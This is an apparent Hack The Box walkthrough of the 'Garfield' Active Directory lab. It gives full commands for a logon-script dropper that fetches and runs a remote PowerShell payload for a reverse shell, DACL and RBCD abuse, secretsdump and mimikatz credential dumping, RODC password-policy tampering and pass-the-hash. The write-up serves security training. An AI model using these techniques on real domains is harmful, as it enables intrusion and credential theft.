Garfield
Garfield
Overview
Garfield is a hard-rated Windows Active Directory machine. We start with credentials for a low-privileged domain account, so there’s no initial foothold to find, it’s an assumed-breach setup.
With a writable SYSVOL share, we update the logon script and point a user’s scriptPath attribute at it to land our first shell.
From there, a chain of weak object permissions lets us move from one account to the next until we land on an account with rights over the domain’s Read-Only Domain Controller (RODC). We use those rights to get a foothold on the RODC, then abuse the way an RODC caches domain passwords to recover the Administrator credentials and reach Domain Admin.
The lab touches on:
- Writable
SYSVOL/NETLOGONlogon scripts - DACL abuse (
Script-Path, force password reset) - RODC administration and the Password Replication Policy (
PRP) - Resource-Based Constrained Delegation (
RBCD) - Pass-the-Hash
Walkthrough
Enumeration
As is common in real-life pentests, we’re handed credentials for a single account:
1
j.arbuckle / Th1sD4mnC4t!@1978
Identifying the host shows a domain controller for garfield.htb:
1
2
mark@rwx:~/Desktop/Labs/HTB/Garfield$ nxc-hosts 10.129.244.207
SMB 10.129.244.207 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
Here’s the nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Nmap 7.94SVN scan initiated Sun Nov 1 17:00:43 2026 as: nmap -vvv -p 53,88,389,445,464,135,139,593,636,2179,3269,3268,3389,5985,9389,49666,49678,49679,49681,49682,49908,55578 -4 -A -oN 10.129.244.207.scan -Pn 10.129.244.207
Nmap scan report for DC01.garfield.htb (10.129.244.207)
Host is up, received user-set (0.28s latency).
PORT STATE SERVICE REASON VERSION
53/tcp open domain? syn-ack
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2026-11-02 00:00:53Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: garfield.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
2179/tcp open vmrdp? syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: garfield.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf syn-ack .NET Message Framing
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Standard DC. The 2179/tcp (vmrdp) and Hyper-V service principals hint that this box is a Hyper-V host running another machine, something that pays off later.
Collecting AD data with rusthound-ce:
1
2
3
4
5
6
7
8
9
10
11
12
mark@rwx:~/Desktop/Labs/HTB/Garfield$ rusthound-ce -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -c All --zip
---------------------------------------------------
Initializing RustHound-CE at 17:00:19 on 11/01/26
Powered by @g0h4n_0
---------------------------------------------------
[2026-11-01T16:00:20Z INFO rusthound_ce::ldap] Connected to GARFIELD.HTB Active Directory!
[2026-11-01T16:00:47Z INFO rusthound_ce::json::maker::common] 8 users parsed!
[2026-11-01T16:00:47Z INFO rusthound_ce::json::maker::common] 63 groups parsed!
[2026-11-01T16:00:47Z INFO rusthound_ce::json::maker::common] 2 computers parsed!
[2026-11-01T16:00:47Z INFO rusthound_ce::json::maker::common] .//20261101170047_garfield-htb_rusthound-ce.zip created!
RustHound-CE Enumeration Completed at 17:00:47 on 11/01/26! Happy Graphing!
Two computers stand out, so I confirmed there’s a second DC, a Read-Only Domain Controller:
1
2
3
4
5
mark@rwx:~/Desktop/Labs/HTB/Garfield$ nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --computers
LDAP 10.129.81.27 389 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
LDAP 10.129.81.27 389 DC01 [*] Total records returned: 2
LDAP 10.129.81.27 389 DC01 DC01$
LDAP 10.129.81.27 389 DC01 RODC01$
Foothold — SYSVOL logon script
Spidering the shares turns up a printerDetect.bat script, present in both NETLOGON and SYSVOL:
1
2
3
4
5
6
7
8
{
"NETLOGON": {
"printerDetect.bat": { "size": "217 B" }
},
"SYSVOL": {
"garfield.htb/scripts/printerDetect.bat": { "size": "217 B" }
}
}
Connecting to SYSVOL, we can read the script and, more importantly, we have write access to the directory (the put test / rm test round-trip confirms it):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mark@rwx:~/Desktop/Labs/HTB/Garfield$ smbclient.py j.arbuckle@DC01.garfield.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
Type help for list of commands
# use SYSVOL
# cd garfield.htb\scripts
# cat printerDetect.bat
@echo off
echo Detecting installed printers...
echo ==============================
wmic printer get Name,DeviceID,PortName,DriverName,Shared,Status /format:table
echo.
echo Printer detection completed.
pause
# put test
# ls
-rw-rw-rw- 217 Fri Sep 12 23:25:38 2025 printerDetect.bat
-rw-rw-rw- 2 Mon Nov 2 01:09:52 2026 test
# rm test
A logon script only fires if a user’s scriptPath attribute points at it. Our user belongs to the IT SUPPORT group, so I checked what DACL that group holds over user objects:
1
2
3
4
5
6
7
mark@rwx:~/Desktop/Labs/HTB/Garfield$ dacledit.py -action read -principal 'IT SUPPORT' -target l.wilson garfield.htb/j.arbuckle:'Th1sD4mnC4t!@1978' -dc-ip 10.129.81.27
[*] ACE[24] info
[*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE
[*] Access mask : ReadProperty, WriteProperty
[*] Object type (GUID) : Script-Path (bf9679a8-0de6-11d0-a285-00aa003049e2)
[*] Inherited type (GUID) : User (bf967aba-0de6-11d0-a285-00aa003049e2)
[*] Trustee (SID) : IT Support (S-1-5-21-2502726253-3859040611-225969357-3106)
IT SUPPORT has WriteProperty on the Script-Path attribute of user objects, which covers both:
1
2
l.wilson
l.wilson_adm
So the plan is: replace the logon script with a reverse-shell dropper, then point those users’ scriptPath at it and wait for them to log on.
1
2
3
4
5
6
7
8
9
@echo off
echo Getting da shell!...
curl http://10.10.14.96/shell.ps1 -o c:\users\public\shell.ps1
powershell -ep bypass -w hidden -f c:\users\public\shell.ps1
echo.
echo Reverse shell completed.
pause
Upload it over SYSVOL, then set the scriptPath on both users with bloodyAD:
1
2
3
4
mark@rwx:~/Desktop/Labs/HTB/Garfield$ bloodyAD -H 10.129.81.27 -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' set object l.wilson scriptPath -v printerDetect.bat
[+] l.wilson's scriptPath has been updated
mark@rwx:~/Desktop/Labs/HTB/Garfield$ bloodyAD -H 10.129.81.27 -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' set object l.wilson_adm scriptPath -v printerDetect.bat
[+] l.wilson_adm's scriptPath has been updated
A few minutes later, a user logs on and the script fires:
1
2
3
4
5
mark@rwx:~/Desktop/Labs/HTB/Garfield$ sudo nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.81.27 62166
SHELL> whoami
garfield\l.wilson
l.wilson to l.wilson_adm
BloodHound shows that L.WILSON can change L.WILSON_ADM’s password without knowing the current one (a force-reset). Pulling PowerView into memory and resetting it:
1
2
3
SHELL> iex(new-object net.webclient).downloadstring('http://10.10.14.96/PowerView.ps1')
SHELL> $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
SHELL> Set-DomainUserPassword -Identity l.wilson_adm -AccountPassword $UserPassword
l.wilson_adm is in Remote Management Users, so we can log in over WinRM and grab user.txt:
1
2
3
4
5
6
7
8
9
10
11
12
mark@rwx:~/Desktop/Labs/HTB/Garfield$ nxc winrm DC01.garfield.htb -u l.wilson_adm -p 'Password123!'
WINRM 10.129.81.27 5985 DC01 [+] garfield.htb\l.wilson_adm:Password123! (Pwn3d!)
mark@rwx:~/Desktop/Labs/HTB/Garfield$ evil-winrm-py -u l.wilson_adm -p 'Password123!' -i dc01
[*] Connecting to 'dc01:5985' as 'l.wilson_adm'
evil-winrm-py PS C:\Users\l.wilson_adm\desktop> ls
Directory: C:\Users\l.wilson_adm\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 11/2/2026 3:59 PM 34 user.txt
Reaching the RODC
ipconfig /all on DC01 reveals a second, internal interface on 192.168.100.0/24, a Hyper-V virtual switch, which is where the RODC lives:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
evil-winrm-py PS C:\Users\l.wilson_adm\desktop> ipconfig /all
Ethernet adapter vEthernet (Switch01):
Description . . . . . . . . . . . : Hyper-V Virtual Ethernet Adapter
IPv4 Address. . . . . . . . . . . : 192.168.100.1(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Ethernet adapter Ethernet0 3:
IPv4 Address. . . . . . . . . . . : 10.129.81.27(Preferred)
evil-winrm-py PS C:\Users\l.wilson_adm\desktop> ping rodc01
Pinging RODC01.garfield.htb [192.168.100.2] with 32 bytes of data:
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
RODC01 is configured for constrained delegation with protocol transition, but its delegation target isn’t DC01, and we can’t write msDS-AllowedToDelegateTo, so that path is a dead end:
1
2
3
4
mark@rwx:~/Desktop/Labs/HTB/Garfield$ nxc ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' --find-delegation
LDAP 10.129.81.27 389 DC01 AccountName AccountType DelegationType DelegationRightsTo
LDAP 10.129.81.27 389 DC01 ----------- ----------- ---------------------------------- ------------------
LDAP 10.129.81.27 389 DC01 RODC01$ Computer Constrained w/ Protocol Transition
To reach the internal network directly, I pivoted through DC01 with ligolo, after which 192.168.100.2 is reachable:
1
2
mark@rwx:~/Desktop/Labs/HTB/Garfield$ nxc-hosts 192.168.100.2
SMB 192.168.100.2 445 RODC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:RODC01) (domain:garfield.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
l.wilson_adm is a member of Tier 1, and Tier 1 members can add themselves to RODC Administrators:
1
2
3
4
5
6
7
evil-winrm-py PS C:\Users\l.wilson_adm\desktop> iex(new-object net.webclient).downloadstring('http://10.10.14.96/PowerView.ps1')
evil-winrm-py PS C:\Users\l.wilson_adm\desktop> Add-DomainGroupMember -Identity 'RODC ADMINISTRATORS' -Members 'l.wilson_adm'
evil-winrm-py PS C:\Users\l.wilson_adm\desktop> Get-DomainGroupMember -Identity 'RODC ADMINISTRATORS'
GroupName : RODC Administrators
MemberName : l.wilson_adm
MemberSID : S-1-5-21-2502726253-3859040611-225969357-3107
Being in this group gives us write access over the RODC01 computer object, which we use later to modify the Password Replication Policy (PRP).
This attribute identifies the group that administers the RODC. Since RODCs are considered to be less trusted than Domain Controllers, they shouldn’t be managed by Active Directory admins (DAs, etc). Often there’s a RODC-specific admin group configured in this attribute, sometimes each RODC has a unique admin group.
RBCD to compromise RODC01
Our write access over RODC01 includes the User-Account-Restrictions property set, and that covers msDS-AllowedToActOnBehalfOfOtherIdentity. With write access to that attribute, we can perform Resource-Based Constrained Delegation against the RODC.
Add a computer account we control, configure RBCD from it to RODC01$, then request a ticket impersonating Administrator for the cifs service:
1
2
3
4
5
6
7
8
9
10
mark@rwx:~/Desktop/Labs/HTB/Garfield$ addcomputer.py -computer-name 'RWX$' -computer-pass RWX@123 -dc-ip 10.129.81.46 garfield.htb/l.wilson_adm:'Password123!'
[*] Successfully added machine account RWX$ with password RWX@123.
mark@rwx:~/Desktop/Labs/HTB/Garfield$ rbcd.py -delegate-from 'RWX$' -delegate-to 'RODC01$' -action 'write' 'garfield.htb/l.wilson_adm':'Password123!'
[*] Delegation rights modified successfully!
[*] RWX$ can now impersonate users on RODC01$ via S4U2Proxy
mark@rwx:~/Desktop/Labs/HTB/Garfield$ getST.py -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.81.46 'garfield.htb/RWX$:RWX@123'
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
With that ticket we can dump secrets from RODC01:
1
2
3
4
5
6
7
8
9
mark@rwx:~/Desktop/Labs/HTB/Garfield$ export KRB5CCNAME=Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
mark@rwx:~/Desktop/Labs/HTB/Garfield$ secretsdump.py -k -no-pass -use-vss RODC01.garfield.htb
[*] Target system bootKey: 0x0821167a7588e6d2b614897381a821e8
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
GARFIELD\RODC01$:aad3b435b51404eeaad3b435b51404ee:0a3f810964bb5e1f0e52245f73700172:::
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Reading and decrypting hashes from \\RODC01.garfield.htb\ADMIN$\Temp\...
krbtgt_8245:1603:aad3b435b51404eeaad3b435b51404ee:445aa4221e751da37a10241d962780e2:::
Note that most domain hashes come back empty (31d6...), because a Read-Only DC only stores the secrets it’s allowed to cache. The one that matters here is krbtgt_8245, the RODC’s own KDC key, which we can also pull with mimikatz:
1
2
3
4
5
6
7
mimikatz # lsadump::lsa /inject /name:krbtgt_8245
RID : 00000643 (1603)
User : krbtgt_8245
* Primary
NTLM : 445aa4221e751da37a10241d962780e2
RODC to Domain Admin (PRP abuse)
Full domain compromise still needs the real Administrator secret. The msDS-RevealedUsers attribute lists the accounts whose passwords are cached on the RODC, and our earlier dump shows Administrator is among them:
1
B:96:5A0009...:CN=Administrator,CN=Users,DC=garfield,DC=htb
The catch: although Administrator appears in msDS-RevealedUsers, the msDS-NeverRevealGroup list contains CN=Administrators. Since Administrator is a member of that group, the KDC refuses a Kerb-Key-List request with KDC_ERR_TGT_REVOKED.
Because l.wilson_adm is now in RODC Administrators, we can rewrite the Password Replication Policy. First, add Administrator to the reveal-on-demand group:
1
evil-winrm-py PS C:\Users\l.wilson_adm\Documents> Set-ADObject -Identity "CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb" -Add @{'msDS-RevealOnDemandGroup'='CN=Administrator,CN=Users,DC=garfield,DC=htb'}
Then clear the NeverRevealGroup entries that block it:
1
evil-winrm-py PS C:\Users\l.wilson_adm\Documents> Set-ADObject -Identity "CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb" -Clear "msDS-NeverRevealGroup"
Confirm the write landed:
1
2
3
mark@rwx:~/Desktop/Labs/HTB/Garfield$ nxc ldap DC01 -u l.wilson_adm -p 'Password123!' --query "(sAMAccountName=RODC01$)" "msDS-NeverRevealGroup msDS-RevealOnDemandGroup"
LDAP ... msDS-RevealOnDemandGroup CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
LDAP ... CN=Administrator,CN=Users,DC=garfield,DC=htb
With the PRP now allowing it, force DC01 to replicate Administrator’s secret down to the RODC’s reveal cache using repadmin /rodcpwdrepl, executed on the RODC through our cached ticket:
1
2
3
4
mark@rwx:~/Desktop/Labs/HTB/Garfield$ export KRB5CCNAME=Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
mark@rwx:~/Desktop/Labs/HTB/Garfield$ nxc smb 192.168.100.2 --use-kcache --exec-method smbexec -x 'repadmin /rodcpwdrepl RODC01 DC01 "CN=Administrator,CN=Users,DC=garfield,DC=htb"'
SMB 192.168.100.2 445 RODC01 [+] garfield.htb\Administrator from ccache (Pwn3d!)
SMB 192.168.100.2 445 RODC01 Successfully replicated secrets for user CN=Administrator,CN=Users,DC=garfield,DC=htb on read-only DC RODC01 from full DC DC01.
Now Administrator sits in the RODC reveal cache, so we dump it straight off RODC01:
1
2
3
4
5
6
7
8
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:Administrator
RID : 000001f4 (500)
User : Administrator
* Primary
NTLM : ee238f6debc752010428f20875b092d5
Finally, pass-the-hash as the domain Administrator against DC01:
1
2
mark@rwx:~/Desktop/Labs/HTB/Garfield$ nxc smb DC01 -u Administrator -H ee238f6debc752010428f20875b092d5
SMB DC01 445 DC01 [+] garfield.htb\Administrator:ee238f6debc752010428f20875b092d5 (Pwn3d!)
1
Administrator:ee238f6debc752010428f20875b092d5
And that’s Domain Admin.
